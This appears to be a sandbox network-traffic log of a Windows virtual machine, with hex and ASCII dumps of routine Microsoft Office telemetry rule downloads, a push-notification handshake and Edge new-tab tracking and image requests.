2024-11-24 03:20:53 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:53 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:53 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 6b04d5e8-e01e-000c-65ad-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032053Z-174c587ffdftjz9shC1TEBsh9800000003s000000000801p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:20:53 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49918	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:53 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 2f 32 4e 46 6a 4f 43 34 75 55 65 74 53 6f 44 6f 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 34 65 35 38 37 63 61 38 31 65 32 31 65 39 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: /2NFjOC4uUetSoDo.1Context: f4e587ca81e21e91
2024-11-24 03:20:53 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-24 03:20:53 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 2f 32 4e 46 6a 4f 43 34 75 55 65 74 53 6f 44 6f 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 34 65 35 38 37 63 61 38 31 65 32 31 65 39 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 4d 2f 57 6c 62 63 68 2f 38 42 74 32 7a 6b 72 33 4a 61 4a 34 4f 7a 7a 44 4a 64 6d 76 48 51 4d 62 57 7a 38 4f 4c 48 55 6f 4f 53 4a 59 55 77 63 7a 37 53 41 73 2b 69 34 74 76 6e 2f 63 50 76 6a 72 48 67 36 31 6f 37 78 2f 70 49 6a 37 63 49 6c 69 33 4f 53 78 66 6f 4e 7a 64 68 4f 7a 72 2b 4f 39 54 44 63 44 31 30 47 66 45 34 65 6a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: /2NFjOC4uUetSoDo.2Context: f4e587ca81e21e91<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdM/Wlbch/8Bt2zkr3JaJ4OzzDJdmvHQMbWz8OLHUoOSJYUwcz7SAs+i4tvn/cPvjrHg61o7x/pIj7cIli3OSxfoNzdhOzr+O9TDcD10GfE4ej
2024-11-24 03:20:53 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 2f 32 4e 46 6a 4f 43 34 75 55 65 74 53 6f 44 6f 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 34 65 35 38 37 63 61 38 31 65 32 31 65 39 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: /2NFjOC4uUetSoDo.3Context: f4e587ca81e21e91<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-24 03:20:54 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-24 03:20:54 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 33 66 66 51 31 6b 4e 78 66 30 4b 33 61 76 44 33 34 6c 62 46 72 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 3ffQ1kNxf0K3avD34lbFrQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:53 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:53 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: b5a95b30-c01e-002b-0632-3c6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032053Z-178bfbc474bnwsh4hC1NYC2ubs00000005dg00000000d27d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:54 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:53 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:54 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 848b8d5b-d01e-00a1-7163-3b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032054Z-178bfbc474bh5zbqhC1NYCkdug00000005dg000000000q9m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:54 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49889	20.110.205.119	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:53 UTC	1175	OUT	GET /c.gif?rnd=1732418452680&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=84cda325a222458b886d32c628c65b9a&activityId=84cda325a222458b886d32c628c65b9a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=022A54BEBDE36963130D41FFBC8168FF; _EDGE_S=F=1&SID=1C801C1AC56E684E22B4095BC4DA6977; _EDGE_V=1
2024-11-24 03:20:54 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732418452680&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=84cda325a222458b886d32c628c65b9a&activityId=84cda325a222458b886d32c628c65b9a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=6CF8A6B4584A453F9F5BDFB39B49680B&RedC=c.msn.com&MXFR=022A54BEBDE36963130D41FFBC8168FF Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=022A54BEBDE36963130D41FFBC8168FF; domain=.msn.com; expires=Fri, 19-Dec-2025 03:20:54 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Sun, 24 Nov 2024 03:20:54 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49894	3.167.69.129	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:53 UTC	925	OUT	GET /b?rn=1732418452680&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=022A54BEBDE36963130D41FFBC8168FF&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:54 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sun, 24 Nov 2024 03:20:54 GMT Location: /b2?rn=1732418452680&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=022A54BEBDE36963130D41FFBC8168FF&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1B1fadcc7439ef02cacbc031732418454; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1B1fadcc7439ef02cacbc031732418454; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 43f27522b495b3528b34cc370e352bba.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD61-P6 X-Amz-Cf-Id: jF-08LhuEWb5z-Lhgh0dUkhON-GWZMWM99C2ZDcVu5IcSrkZxKvolg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:54 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:54 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bc0c8c97-701e-0053-1e45-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032054Z-178bfbc474bbcwv4hC1NYCypys0000000590000000006cxf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:54 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:54 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:54 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 21def030-601e-0084-7c7b-3b6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032054Z-174c587ffdf6b487hC1TEBydsn00000003w0000000002fxq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:54 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49895	104.117.182.59	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:54 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:54 UTC	518	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 15 Nov 2024 09:23:39 GMT X-Datacenter: eastus X-ActivityId: 45299615-50a0-4d41-9f2b-be1f411b5255 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOOW X-Source-Length: 76188 Content-Length: 76188 Cache-Control: public, max-age=65060 Expires: Sun, 24 Nov 2024 21:25:14 GMT Date: Sun, 24 Nov 2024 03:20:54 GMT Connection: close
2024-11-24 03:20:54 UTC	15866	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-24 03:20:55 UTC	16384	IN	Data Raw: 89 ae 12 0f c8 8e 44 73 07 25 6c 2f 89 78 37 88 0d 0e a0 75 2e 5c e8 bf 65 c0 91 84 4c 45 c8 e1 c2 b0 be d6 c3 3c 57 8f 3c 74 cb eb f1 72 7e 48 f5 8e a9 d3 a5 09 d7 37 60 b5 09 91 92 ad 5a 84 18 b5 0b 51 18 b5 6a 11 2c 21 6a d4 46 21 6a d5 51 88 5a b5 11 8b 50 b5 10 21 6a 11 02 10 84 40 85 ab 10 08 5a b5 06 21 6a 10 62 d4 2d 44 62 13 2c 41 8b 56 a1 06 21 6a 10 62 d4 2d 44 62 16 ad 40 a8 4c 84 46 2d 42 d4 18 85 ab 51 18 85 a8 50 62 16 a1 50 21 0b 51 18 85 a8 41 88 5a 84 18 85 a8 41 88 5a 84 18 84 2d 41 88 5a 84 18 85 a8 41 88 5a b1 14 21 08 40 21 08 41 88 5a 84 18 85 a8 50 2a 13 21 02 a1 6a 10 62 10 84 56 21 6a 10 62 16 a1 02 a1 32 54 50 b1 6a 10 62 c4 c9 51 42 c5 a8 45 2a 13 25 40 2c 5a 85 14 a8 5a b1 14 a8 5a b1 15 8b 13 25 45 62 c5 ab 14 6c a8 5a b1 1a Data Ascii: Ds%l/x7u.\eLE<W<tr~H7`ZQj,!jF!jQZP!j@Z!jb-Db,AV!jb-Db@LF-BQPbP!QAZAZ-AZAZ!@!AZP!jbV!jb2TPjbQBE%@,ZZZ%EblZ
2024-11-24 03:20:55 UTC	3218	IN	Data Raw: e6 37 b5 45 f7 b1 38 bc 17 49 04 bc be 01 14 18 48 0e c4 0f 32 66 14 a3 54 cd 46 a2 e3 ee 5c c3 6f 50 5c e7 d1 c4 80 41 6b 5a e0 28 1a c2 05 7c a5 70 58 f6 b8 92 58 0b a0 00 72 11 bc 81 15 e5 c9 7a 63 1a 85 8d aa bb bb 36 b5 21 81 e1 83 0b 9e 63 37 d6 84 4f b4 72 e3 22 aa fd 96 d8 73 8b bd dd ed 8c 24 b9 8e 0c 66 c3 89 38 41 12 e9 82 26 5d 45 cc b5 70 62 2f 27 aa 45 a3 b2 d0 04 02 22 30 bb e9 13 26 33 2a dd bb 8e 7d b0 e0 48 e8 b2 05 23 65 c2 30 80 4c 00 41 ab a4 98 13 2a 3d 10 f4 56 c8 f7 9d 3f 55 c5 ae c0 00 c5 42 1d 8a 20 98 87 7e f0 56 6d 6a 1c 3c 41 ac b7 18 1a cc 2e 14 15 26 04 72 dd dc b8 77 61 ad b3 2e 0e 0c 6d b3 49 13 83 11 20 4e 52 e8 95 27 53 a0 f6 bd cd cc 17 e2 8d d3 15 e4 09 73 b9 67 0b 0e d3 e3 a7 47 b7 b9 75 c0 56 30 93 47 67 c5 71 75 03 Data Ascii: 